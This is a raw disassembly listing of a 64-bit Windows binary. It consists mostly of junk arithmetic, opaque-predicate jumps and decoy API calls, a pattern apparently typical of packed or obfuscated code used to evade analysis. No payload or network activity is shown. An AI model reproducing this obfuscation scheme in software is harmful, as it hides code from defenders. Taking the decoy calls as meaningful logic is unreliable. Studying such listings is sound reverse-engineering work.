mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x20a4]
inc eax
mov dword [rsp + 0x20a4], eax
mov eax, dword [rsp + 0x2084]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
cmp dword [rsp + 0x20a4], 0xc1d3
jbe 0x140055a63
movabs rax, 0x7c6e72eed64423a6
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov dword [rsp + 0x20b4], 0xb687
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov edx, dword [rsp + 0x20a0]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jae 0x140055f4f
movabs rax, 0xc5ffe1f0bc8b543
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x5c999a0727261686
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x479f5c6db5eba0b9
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
lea rax, [rsp + 0x183e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x17fb8]
mov r8d, 0x70
lea rdx, [rsp + 0x17fb8]
lea rcx, str.MonopolistdepictPouts
call qword [sym.imp.KERNEL32.dll_CheckNameLegalDOS8Dot3W]
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov r8w, 0xc2
mov edx, 0xaa
mov cx, 0xcf
call fcn.1401539e0
nop
mov dword [rsp + 0x20bc], 0x33de
cmp dword [rsp + 0x2094], 0xf6ac
jae 0x1400564d4
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov dword [rsp + 0x209c], eax
movabs rax, 0x39ad2828748486ac
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x50ec7a19229b48da
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a78]
shl rax, 0x21
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2094]
add eax, 0xfe
mov dword [rsp + 0x2094], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x2631f5c3011fb706
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f80]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a78]
shl rax, 1
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x1a2ed49de3eba8b0
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x37dc614d34e1e012
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
jmp 0x140055f5a
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x20bc]
add eax, 0x91
mov dword [rsp + 0x20bc], eax
movabs rax, 0x12e66200f51de130
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2084], eax
movabs rax, 0x1525d76fd1466e0d
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3a78]
shl rax, 0x3a
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2084], eax
movabs rax, 0x1c57496795b5454a
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x51366e3b0885b963
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x1578762534e2802e
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x3e7cb92635a9f85a
mov rcx, qword [rsp + 0x3a78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3a78]
sar rax, 3
mov qword [rsp + 0x3a78], rax
cmp dword [rsp + 0x20bc], 0x4176
jne 0x1400564d4
lea rax, [rsp + 0x3a78]
mov qword [rsp + 0x3f90], rax
mov dword [rsp + 0x20c0], 0xb8df
movabs rax, 0x9a9522cd370870ee
mov qword [rsp + 0x3f98], rax
cmp dword [rsp + 0x20ac], 0x2eb5
jb 0x1400569a8
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0xe3b07075c6f8c6f8
mov rcx, qword [rsp + 0x3f98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20ac]
sub eax, 0xb
mov dword [rsp + 0x20ac], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
sar rax, 9
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3a78]
shl rax, 0x1a
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0x5659c634d798740f
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x86154aee00c8c28
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
jmp 0x1400567ab
mov eax, 0x73b
mov word [rsp + 0x8ec], ax
mov dword [rsp + 0x20c4], 0x4bc5
mov byte [rsp + 0xf9], 0x81
movabs rax, 0x3856a1abc5cb27e2
mov rcx, qword [rsp + 0x3f98]
imul rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
mov dword [rsp + 0x20c8], 0x22bf
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0x20cc], eax
cmp dword [rsp + 0x20cc], 0
je 0x140056a21
cmp dword [rsp + 0x20cc], 0x3ef4695e
je 0x140153296
jmp 0x140153314
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0x20d0], al
cmp byte [rsp + 0x20d0], 0x81
je 0x140056a3f
jmp 0x1401531ef
mov eax, dword [rsp + 0x20c0]
add eax, 0xcd
mov dword [rsp + 0x20c0], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x3fa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fa0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0xbce77d661e723ec
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3a78]
shl rax, 0x34
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0x624020ece68ae2c
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0x73590a604d997fa0
mov rcx, qword [0x1401a0008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8ec]
add eax, 0x52
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x5e80e6e236a8a20b
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3a78], rax
movabs rax, 0xfc2c6916790ce884
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movabs rax, 0x9ee68054148cafe
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
cmp dword [rsp + 0x20c0], 0xd8e7
jbe 0x140056a3f
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0x3fa8], rax
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0x20d4], al
cmp byte [rsp + 0x20d4], 0x81
je 0x140056bfa
cmp byte [rsp + 0x20d4], 0xd3
je 0x140056d13
jmp 0x140056d35
movzx eax, word [rsp + 0x8ec]
mov dword [rsp + 0x20d8], eax
cmp dword [rsp + 0x20d8], 0x451
je 0x140056c2c
cmp dword [rsp + 0x20d8], 0xed7
je 0x140056ce9
jmp 0x140056cfb
mov edx, dword [rsp + 0x20dc]
lea rcx, [rsp + 0x3fa8]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x3f98]
mov qword [rsp + 0x3fb0], rax
movabs rax, 0x717081fdb4ac3352
cmp qword [rsp + 0x3fb0], rax
je 0x140056c6e
jmp 0x140056cc6
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x33fb949aab7edb9d
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
movzx edx, byte [rsp + 0xf9]
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rax]
call fcn.140154b70
nop
jmp 0x140056ce7
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
jmp 0x140056cfb
movzx eax, byte [rsp + 0xf9]
sar eax, 2
mov byte [rsp + 0xf9], al
mov dword [rsp + 0x20e0], 0xe8c3
mov dword [rsp + 0x20e4], 0x269b
jmp 0x140056d35
lea r8, [rsp + 0x3a78]
mov edx, 0x42
lea rcx, [rsp + 0x17e38]
call qword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [rsp + 0x20dc], eax
cmp dword [rsp + 0x208c], 0x28d9
je 0x140057022
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x3fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
or eax, 0xa0d
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x1267ec50c2364cf8
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20a0], eax
movabs rax, 0x2213390cabacd2a0
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3f98], rax
movzx eax, byte [rsp + 0xf9]
add eax, 0x72
mov byte [rsp + 0xf9], al
movabs rax, 0x2c7e4d531ae4232f
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x3c66a69444444141
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
